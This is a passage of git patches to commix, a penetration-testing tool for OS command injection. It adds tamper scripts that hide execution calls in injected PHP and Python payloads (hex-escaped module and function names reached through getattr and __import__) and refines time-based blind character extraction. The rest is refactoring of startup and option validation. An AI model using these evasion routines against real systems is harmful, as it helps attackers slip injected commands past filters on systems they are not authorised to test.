backticks, which is this function wearing punctuation, and reads the same way once named. + return re.sub(BACKTICK_COMMAND, + lambda x: CALL_BY_NAME + _concat_name(BACKTICK_FUNCTION) + "," + _quoted_command(x.group(1)) + ")", + payload) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 3db7e922d7..50d4719378 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "142" +REVISION = "143" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1526,6 +1526,7 @@ class AUTH_TYPE(object): "sleep2timeout": False, "sleep2ping": False, "phphexname": False, + "phpconcat": False, "xforwardedfor": False, "dollaratsigns": False, "dollarstars": False, @@ -1609,6 +1610,9 @@ class PRIORITY(object): ("ansiquote", "uninitializedvariable"), # "''" is literal inside the double-quoted "tr" ranges that "randomcase" builds. ("randomcase", "singlequotes"), + # Both name the same function in the same call, so the second finds the name of + # the first already broken up and has nothing left to rewrite. + ("phphexname", "phpconcat"), # All three replace the user's command outright, so only one of them can have it. ("cmd2wildcard", "rev"), ("cmd2wildcard", "randomcase"), From a2fc93784e005065734a0d9e65c3a7f3d0ac2382 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 17 Sep 2026 07:45:31 +0300 Subject: [PATCH 0804/1023] Added new tamper script `pyhexname.py`, that runs the command through a Python module and function named in hex --- doc/CHANGELOG.md | 1 + src/tamper/pyhexname.py | 77 +++++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 3 +- 3 files changed, 80 insertions(+), 1 deletion(-) create mode 100644 src/tamper/pyhexname.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1f400ef7d6..4f29645cd7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `pyhexname.py`, that runs the command through a Python module and function named in hex. * Added: New tamper script `phpconcat.py`, that runs the command through a PHP function named in concatenated pieces. * Added: New option `--type` to select injection techniques by the injection type they report (i.e. `c` for classic, `b` for blind). * Revised: Renamed the "classic" technique to "results-based", after how its result comes back, so `--technique` now takes the letters `r`, `t` and `f` (e.g. `--technique="rtf"`). diff --git a/src/tamper/pyhexname.py b/src/tamper/pyhexname.py new file mode 100644 index 0000000000..b135aeeab1 --- /dev/null +++ b/src/tamper/pyhexname.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Runs the command through a Python module and function named in hex ("\x6f\x73", "\x70\x6f\x70\x65\x6e"). +Notes: This tamper script works against target(s) evaluating Python (i.e. option '--eval=python'). +""" + +__tamper__ = "pyhexname" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "python") + +""" +The module a name with no module of its own is reached through. + +'eval' and 'exec' are built in, so there is no import spelling them out - but they are attributes +of a module like any other, and naming that module gives them somewhere to be looked up from. +""" +BUILTINS = "builtins" + +# An attribute fetched by a name the payload never spells, and called on the spot. +ATTRIBUTE_OF = "getattr(" +IMPORT_OF = "__import__(" + +# The execution functions this language writes whole: a module imported, then an attribute of it. +IMPORTED_FUNCTION = r"^__import__\(\"([^\"]+)\"\)\.(\w+)$" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The name as the escapes Python reads back as that name, leaving no letter of it in the payload. +def _hex_name(name): + return "\"" + "".join("\\x%02x" % ord(char) for char in name) + "\"" + +""" +The module and the attribute a function is reached by, both named in hex. + +Written as a lookup rather than as the call itself, because an attribute cannot be reached by an +escaped name the way a string can - 'getattr' is what turns the name back into the thing. +""" +def _looked_up(module, attribute): + return ATTRIBUTE_OF + IMPORT_OF + _hex_name(module) + ")," + _hex_name(attribute) + ")" + +# Run the command through a module and function named in hex, wherever the payload runs one. +def tamper(payload): + # Longest first, so a bare name is not rewritten out of the middle of an imported one. + for name in sorted(settings.EXECUTION_FUNCTIONS_LVL3, key=len, reverse=True): + imported = re.match(IMPORTED_FUNCTION, name) + if imported: + looked_up = _looked_up(imported.group(1), imported.group(2)) + else: + looked_up = _looked_up(BUILTINS, name) + # Only where the name opens a call of its own, so the call's own closing bracket still closes + # the new one. A lambda, so that the backslashes the replacement is made of stay backslashes. + payload = re.sub(r"(?<![\w\\])" + re.escape(name) + r"\(", lambda x: looked_up + "(", payload) + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 50d4719378..0a44f3b9da 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "143" +REVISION = "144" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1527,6 +1527,7 @@ class AUTH_TYPE(object): "sleep2ping": False, "phphexname": False, "phpconcat": False, + "pyhexname": False, "xforwardedfor": False, "dollaratsigns": False, "dollarstars": False, From a03f1e192d6ed9f9b8e183639cb9c6da3c193fd1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 17 Sep 2026 07:50:23 +0300 Subject: [PATCH 0805/1023] Various fixes, improvements, and updates --- README.md | 4 +- commix.py | 1 + src/core/controller/checks.py | 4 +- src/core/controller/injector.py | 41 +- src/core/main.py | 1024 ++++++----------- src/core/options.py | 311 +++++ src/core/requests/keepalive.py | 1 - src/core/requests/requests.py | 1 - src/core/shells/bind_tcp.py | 3 - src/core/shells/reverse_tcp.py | 4 - src/core/startup.py | 94 ++ src/core/techniques/oob/oob_payloads.py | 4 +- src/core/techniques/time_based/tb_payloads.py | 1 - src/utils/logs.py | 21 +- src/utils/settings.py | 9 +- src/utils/version.py | 4 +- 16 files changed, 825 insertions(+), 702 deletions(-) create mode 100644 src/core/options.py create mode 100644 src/core/startup.py diff --git a/README.md b/README.md index 873faf84f2..f66d946f71 100644 --- a/README.md +++ b/README.md @@ -41,7 +41,9 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. * **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. * **Resumable scans** - results are stored per target in a session file, and can be exported to JSON. -* **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI. +* **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI, and works against both Unix-like and Windows targets - see +[Windows and Unix-like targets at a glance](Techniques#windows-and-unix-like-targets-at-a-glance) +for how the payloads differ. ## Installation diff --git a/commix.py b/commix.py index 48c36ade52..208ac34561 100755 --- a/commix.py +++ b/commix.py @@ -29,6 +29,7 @@ # Main def main(): import src.core.main + src.core.main.run() # Main if __name__ == '__main__': diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 113d7fe666..65b5900d19 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -37,7 +37,6 @@ from src.utils import settings from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode -from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters @@ -3898,7 +3897,8 @@ def shell_download(execute_cmd, cmd, filename): logs.report_add_file(remote_file, local_file) if settings.INCOMPLETE_OUTPUT: err_msg = "The file '" + remote_file + "' was written to '" + local_file + "' (" + str(len(content)) - err_msg += " bytes) but is incomplete - the characters listed above are missing from it." + err_msg += " bytes) but is incomplete - the characters listed above are unresolved, and stand in it as '" + err_msg += settings.UNRESOLVED_CHAR + "'." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return info_msg = "The file '" + remote_file + "' has been successfully downloaded to '" + local_file diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 299387532c..92270d9a5e 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -650,7 +650,7 @@ def _render_output_so_far(): for pos in range(1, output_length + 1): ascii_char = results_by_position.get(pos) if ascii_char == UNRESOLVED_POSITION: - chars.append("?") + chars.append(settings.UNRESOLVED_CHAR) furthest = pos elif ascii_char is not None: ch = chr(ascii_char) @@ -1051,10 +1051,40 @@ def _validate(candidate, local_timesec): else: executor.shutdown(wait=True) remaining = [] - # Assemble in position order; unresolved positions are dropped, not filled with a placeholder. + + # A position that returned no delay is usually a transient miss - a lagging response, or one + # worker's request read as another's - so each one is asked again, alone, whether or not the + # first pass was threaded. Every position failing is a systematic failure instead, and asking + # the same oracle twice would only spend the requests again. + if failed_positions and len(failed_positions) < len(positions): + retry_positions = sorted(failed_positions) + info_msg = "Re-attempting " + str(len(retry_positions)) + " character" + info_msg += "s"[len(retry_positions) == 1:] + " that returned no delay." + settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_info_msg(info_msg)) + for pos in retry_positions: + try: + _, ascii_char, conn_error_flag = _extract_position(pos) + except SystemExit: + _save_progress() + raise + except KeyboardInterrupt: + _save_progress() + checks.handle_exploitation_interrupt(filename, url) + break + if ascii_char is None: + continue + failed_positions.discard(pos) + conn_error_positions.discard(pos) + results_by_position[pos] = ascii_char + _print_progress() + + # Assemble in position order. A position that stayed unresolved is marked rather than dropped: + # a silently shorter output is indistinguishable from a real value. for pos in positions: ascii_char = results_by_position.get(pos) - if ascii_char is not None and ascii_char != UNRESOLVED_POSITION: + if ascii_char == UNRESOLVED_POSITION: + output.append(settings.UNRESOLVED_CHAR) + elif ascii_char is not None: output.append(chr(ascii_char)) boundary_char = chr(max(settings.CHAR_POOL_MULTI)) @@ -1069,8 +1099,9 @@ def _validate(candidate, local_timesec): settings.INCOMPLETE_OUTPUT = True warn_msg = str(len(failed_positions)) + " of " + str(len(positions)) + " character" warn_msg += "s"[len(positions) == 1:] + " could not be extracted (no delay was ever observed for " - warn_msg += ("them" if len(failed_positions) != 1 else "it") + ") - the retrieved output below is missing " - warn_msg += ("those characters" if len(failed_positions) != 1 else "that character") + "." + warn_msg += ("them" if len(failed_positions) != 1 else "it") + ", on a second attempt either) - " + warn_msg += ("they are" if len(failed_positions) != 1 else "it is") + " marked '" + warn_msg += settings.UNRESOLVED_CHAR + "' in the retrieved output below." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) check_end = time.time() diff --git a/src/core/main.py b/src/core/main.py index 086a31815e..8016686160 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -18,7 +18,6 @@ import sys import time import random -import signal from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 @@ -29,18 +28,16 @@ from src.utils import purge from src.utils import update from src.utils import common -from src.utils import version from src.utils import install from src.utils import crawler from src.utils import settings from src.utils import session_handler from src.thirdparty.colorama import init -from src.core.testing import smoke_test -from src.core.requests import tor +from src.core import startup +from src.core import options from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests -from src.core.requests import cookies from src.core.requests import redirection from src.core.controller import checks from src.core.parse import request as parser @@ -785,716 +782,395 @@ def main(filename, url, http_request_method): checks.handle_early_interrupt(filename, url) return -try: - filename = "" - - # Check if defined "--version" option. - if menu.options.version: - version.show_version() - raise SystemExit() - - # Print the legal disclaimer msg. - settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) - - # Get total number of days from last update - if settings.STABLE_RELEASE is False: - common.days_from_last_update() - - # Check if specified wrong alternative interpreter - if menu.options.interpreter: - # Resolved before it is checked, and kept resolved - what reads it later compares against the - # name commix knows, so 'py' has to have become 'python' by now. - menu.options.interpreter = settings.resolve_language(menu.options.interpreter) - if menu.options.interpreter not in settings.AVAILABLE_INTERPRETERS: - err_msg = "'" + menu.options.interpreter + "' interpreter is not supported!" - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Define the level of verbosity. - if menu.options.verbose > 4: - err_msg = "The value for option '-v' " - err_msg += "must be an integer value from range [0, 4]." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - settings.VERBOSITY_LEVEL = menu.options.verbose - - # Hard '--time-limit' cutoff - a signal, immune to exception handling elsewhere. - if menu.options.time_limit and hasattr(signal, "alarm"): - # Stop the run where it has been going longer than '--time-limit' allows. - def _time_limit_reached(signum, frame): - err_msg = "Reached the specified time limit of " + str(menu.options.time_limit) + " second(s)." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - os._exit(0) - signal.signal(signal.SIGALRM, _time_limit_reached) - signal.alarm(max(1, int(round(menu.options.time_limit)))) - - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.execution("Starting")) +""" +Everything a run does before it has a target, and the dispatch that finds them. - if menu.options.smoke_test: - smoke_test() +Called rather than executed on import: what the module does on the way in is otherwise the +program itself, and nothing above can be reached without running all of it. +""" +def run(): + # Bound here and read back by scan_parsed_targets(), which walks a list of targets in turn. + global response, url, filename try: - # Treat non-interactive stdin as targets only without an explicit target; skip CI log pipes. - if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin, - "CI" in os.environ, - menu.options.url, menu.options.requestfile, menu.options.bulkfile, menu.options.logfile)): - settings.STDIN_PARSING = True - except Exception as ex: - if "fileno" in str(ex) and settings.STDIN_PARSING: - settings.STDIN_PARSING = False - - if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: - settings.OS_CHECKS_NUM = 1 - - for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): - # Check if defined "--list-tampers" option. - if menu.options.list_tampers: - checks.list_tamper_scripts() - raise SystemExit() - - if settings.READLINE_ERROR : - checks.no_readline_module() - raise SystemExit() + filename = "" - # Check if defined "--ignore-dependencies" option. - if not menu.options.ignore_dependencies: - checks.third_party_dependencies() + # Settled before a target is in hand - see src/core/startup.py. + startup.bootstrap() - # Before the target is touched: a mistyped option is the user's to correct, not the target's - # to be probed over. - checks.validate_tamper_scripts() - checks.apply_injection_type() - checks.validate_techniques() - checks.validate_options() - - # Check if defined "--update" option. - if menu.options.update: - update.updater() - - # Check if defined "--install" option. - if menu.options.install: - install.installer() - raise SystemExit() - - # Check if defined "--purge" option. - if menu.options.purge: - purge.purge() - - # Check for missing mandatory option(s). - if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ - menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ - menu.options.update, menu.options.list_tampers)): - if not menu.options.purge: - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " - err_msg += "Use -h for help." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Any out-of-band option on its own is enough to ask for the channel. - if any((menu.options.oob_server, menu.options.oob_token, menu.options.oob_poll != settings.OOB_POLL_INTERVAL)): - menu.options.oob = True - - checks.init_keep_alive() - checks.set_optimize() - - if menu.options.codec: - if not settings.known_encoding(menu.options.codec): - err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " - err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " - err_msg += "to get the full list of supported charsets." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): + # Check if defined "--list-tampers" option. + if menu.options.list_tampers: + checks.list_tamper_scripts() raise SystemExit() - else: - settings.DEFAULT_CODEC = menu.options.codec.lower() - if menu.options.header and len(menu.options.header.split(settings.END_LINE.ESCAPED_LF))> 1: - warn_msg = "Due to multiple provided HTTP headers, switching '--header' to '--headers'." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - - if menu.options.method: - settings.HTTP_METHOD = menu.options.method - - if menu.options.answers: - settings.ANSWERS = menu.options.answers - - # Check if defined "--proxy" option. - if menu.options.proxy: - if menu.options.tor: - err_msg = "The switch '--tor' is incompatible with option '--proxy'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + if settings.READLINE_ERROR : + checks.no_readline_module() raise SystemExit() - if menu.options.ignore_proxy: - err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): - _, proxy_scheme, proxy_address, proxy_port = match.groups() - if settings.SCHEME or proxy_scheme: - if not settings.SCHEME: - settings.SCHEME = proxy_scheme - menu.options.proxy = proxy_address + ":" + proxy_port - break - else: - err_msg = "Proxy value must be in format '(http|https)://address:port'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if not menu.options.proxy: - # Check if defined Tor (--tor option). - if menu.options.tor: - if menu.options.tor_port: - settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port - menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT - tor.do_check() - - if menu.options.ignore_session and menu.options.flush_session: - err_msg = "The '--ignore-session' switch is unlikely to work combined with the '--flush-session' switch." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Check if defined "--ignore-dependencies" option. + if not menu.options.ignore_dependencies: + checks.third_party_dependencies() - if menu.options.failed_tries == 0: - err_msg = "You must specify '--failed-tries' value, greater than zero." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Before the target is touched: a mistyped option is the user's to correct, not the target's + # to be probed over. + checks.validate_tamper_scripts() + checks.apply_injection_type() + checks.validate_techniques() + checks.validate_options() - # Check if defined "--auth-cred" and/or '--auth-type'. - if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): - err_msg = "You must specify both '--auth-cred' and '--auth-type' options." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Check if defined "--update" option. + if menu.options.update: + update.updater() - if menu.options.auth_cred and menu.options.auth_type: - if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): - error_msg = "HTTP " + str(menu.options.auth_type) - error_msg += " authentication credentials value must be in format 'username:password'." - settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + # Check if defined "--install" option. + if menu.options.install: + install.installer() raise SystemExit() - if menu.options.requestfile and menu.options.url: - err_msg = "The '-r' option is incompatible with option '-u' ('--url')." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Check if defined "--purge" option. + if menu.options.purge: + purge.purge() - if menu.options.bulkfile and menu.options.url: - err_msg = "The '-m' option is incompatible with option '-u' ('--url')." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check the user-defined OS. - if menu.options.os: - checks.user_defined_os() + # Everything the options say, settled before a target is contacted - see options.py. + options.validate() + # Enable detection phase + settings.DETECTION_PHASE = True - # Check if defined "--abort-code" option. - if menu.options.abort_code: - try: - settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)] - except ValueError: - err_msg = "The option '--abort-code' should contain a list of integer values." + # Parse target and data from HTTP proxy logs (i.e. Burp / WebScarab). + if menu.options.requestfile and menu.options.logfile: + err_msg = "The '-r' option is unlikely to work combined with the '-l' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + elif menu.options.requestfile or menu.options.logfile: + parser.logfile_parser() - # Check if defined "--ignore-code" option. - if menu.options.ignore_code: - try: - settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - except ValueError: - err_msg = "The option '--ignore-code' should contain a list of integer values." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + # Check if ".git" exists and check for updated version! + if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: + update.check_for_update() - # Check if defined "--wizard" option. - if menu.options.wizard: - info_msg = "Starting wizard interface." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - message = "Please enter full target URL (-u) " - if menu.options.url: - settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) - elif not menu.options.url and not settings.STDIN_PARSING: - while True: - menu.options.url = common.read_input(message, default=None, check_batch=True) - if menu.options.url is None or len(menu.options.url) == 0: - pass - else: - break - message = "POST data (--data) [Enter for None] " - if settings.STDIN_PARSING or menu.options.data: - settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data))) + # Check if option is "--url" for single url test. + if menu.options.sitemap_url: + url = menu.options.sitemap_url else: - menu.options.data = common.read_input(message, default=None, check_batch=True) - if menu.options.data is not None and len(menu.options.data) == 0: - menu.options.data = False - while True: - message = "Injection difficulty (--level) [1-3, Default: 1] " - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) - break - try: - settings.INJECTION_LEVEL = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) - if settings.INJECTION_LEVEL > int(settings.HTTP_HEADER_INJECTION_LEVEL): - pass - else: - break - except ValueError: - pass - - # Seconds to delay between each HTTP request. - if menu.options.delay != 0: - settings.DELAY = menu.options.delay - - # Check if defined "--timesec" option. - if menu.options.timesec != 0: - settings.TIMESEC = menu.options.timesec + url = menu.options.url - # Check if defined "--threads" option. - if menu.options.threads > 1: - try: - import concurrent.futures - threads_supported = True - except ImportError: - threads_supported = False - if not threads_supported: - warn_msg = "'--threads' needs Python 3.2+; continuing with a single thread." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif menu.options.threads > settings.MAX_THREADS: - settings.THREADS = settings.MAX_THREADS - warn_msg = "Setting '--threads' to the maximum of " + str(settings.MAX_THREADS) + " concurrent HTTP requests." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if menu.options.data and not settings.CRAWLING: + settings.USER_DEFINED_POST_DATA = menu.options.data + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: + settings.POST_DATA_PARAM_DELIMITER = menu.options.pdel else: - settings.THREADS = menu.options.threads - if settings.THREADS > 1 and settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting " + str(settings.THREADS) + " concurrent HTTP requests." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - if menu.options.tor: - settings.TIMESEC = settings.TIMESEC * 2 - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + ", because you provided switch '--tor'." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - - if menu.options.sitemap_url: - settings.SITEMAP_CHECK = True - - if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK: - settings.CRAWLING = True - - if menu.options.crawl_exclude: - if not settings.CRAWLING: - err_msg = "The '--crawl-exclude' option requires usage of the '--crawl' option." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - try: - re.compile(menu.options.crawl_exclude) - except Exception as e: - err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Only a request carrying a body can be split into chunks. - if menu.options.chunked and not any((menu.options.data, menu.options.requestfile, \ - menu.options.logfile, menu.options.forms)): - err_msg = "The '--chunked' switch requires usage of POST data." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - for option, cookies_file in (("--load-cookies", menu.options.load_cookies), ("--live-cookies", menu.options.live_cookies)): - if cookies_file and not os.path.isfile(cookies_file): - err_msg = "It seems the '" + cookies_file + "' file, provided with the '" + option + "' option, does not exist." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # The file keeps being read as it changes, so what it holds now would only be overwritten. - if menu.options.load_cookies and not menu.options.live_cookies: - menu.options.cookie = cookies.load_cookies() - - if menu.options.scope: - try: - re.compile(menu.options.scope) - except Exception as e: - err_msg = "invalid regular expression '" + menu.options.scope + "' (" + str(e) + ")." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - info_msg = "Using regular expression '" + menu.options.scope + "' for filtering targets." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - if menu.options.forms and not settings.CRAWLING: - err_msg = "The '--forms' switch requires the '--crawl' option." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check arguments - if len(sys.argv) == 1 and not settings.STDIN_PARSING: - menu.parser.print_help() - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise SystemExit() - else: - # Check for INJECT_HERE tag. - inject_tag_regex_match = re.search(settings.INJECT_TAG_REGEX, ",".join(str(x) for x in sys.argv)) - if inject_tag_regex_match: - settings.INJECT_TAG = inject_tag_regex_match.group(0) - - # What can be answered without the target is answered before it is contacted: a path that does - # not exist is no reason to have opened a connection, let alone to have sent it a payload. - if menu.options.file_write is not None: - if not os.path.exists(menu.options.file_write): - err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - if not os.path.isfile(menu.options.file_write): - err_msg = "The specified path '" + menu.options.file_write + "' is not a file." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check provided parameters for tests - checks.check_provided_parameters() - - # Define the local path where Metasploit Framework is installed. - if menu.options.msf_path: - settings.METASPLOIT_PATH = menu.options.msf_path - - # Enable detection phase - settings.DETECTION_PHASE = True - - # Parse target and data from HTTP proxy logs (i.e. Burp / WebScarab). - if menu.options.requestfile and menu.options.logfile: - err_msg = "The '-r' option is unlikely to work combined with the '-l' option." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - elif menu.options.requestfile or menu.options.logfile: - parser.logfile_parser() - - # Check if ".git" exists and check for updated version! - if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: - update.check_for_update() - - # Check if option is "--url" for single url test. - if menu.options.sitemap_url: - url = menu.options.sitemap_url - else: - url = menu.options.url - - if menu.options.data and not settings.CRAWLING: - settings.USER_DEFINED_POST_DATA = menu.options.data - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: - settings.POST_DATA_PARAM_DELIMITER = menu.options.pdel - else: - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in url: - settings.URL_PARAM_DELIMITER = menu.options.pdel + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in url: + settings.URL_PARAM_DELIMITER = menu.options.pdel - http_request_method = checks.check_http_method(url) - # A request / proxy log file holding more than one request is tested target by target. - if len(settings.MULTI_REQUEST_TARGETS) > 1 and not settings.CRAWLING: - settings.MULTI_TARGETS = True - menu.options.batch = True - scan_parsed_targets(os_checks_num) - raise SystemExit() - if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: - if os_checks_num == 0: - settings.INIT_TEST = True - # Skip upfront detection-only probes below when a stored technique already exists. - settings.LIKELY_RESUME = session_handler.has_any_stored_technique(url, http_request_method) - response, url = url_response(url, http_request_method) - if response is not False: - filename = logs.logs_filename_creation(url) - session_handler.restore_waf_status(url) - main(filename, url, http_request_method) - else: - err_msg = "Unable to establish a connection with the target URL." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - - else: - output_href = [] - output_forms = [] - # Check if option is "-m" for multiple urls test. - if menu.options.bulkfile: - bulkfile = menu.options.bulkfile + http_request_method = checks.check_http_method(url) + # A request / proxy log file holding more than one request is tested target by target. + if len(settings.MULTI_REQUEST_TARGETS) > 1 and not settings.CRAWLING: + settings.MULTI_TARGETS = True + menu.options.batch = True + scan_parsed_targets(os_checks_num) + raise SystemExit() + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: - info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - if not os.path.exists(bulkfile): - err_msg = "It seems the '" + bulkfile + "' file does not exist." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - elif os.stat(bulkfile).st_size == 0: - err_msg = "It seems the '" + bulkfile + "' file is empty." + settings.INIT_TEST = True + # Skip upfront detection-only probes below when a stored technique already exists. + settings.LIKELY_RESUME = session_handler.has_any_stored_technique(url, http_request_method) + response, url = url_response(url, http_request_method) + if response is not False: + filename = logs.logs_filename_creation(url) + session_handler.restore_waf_status(url) + main(filename, url, http_request_method) + else: + err_msg = "Unable to establish a connection with the target URL." 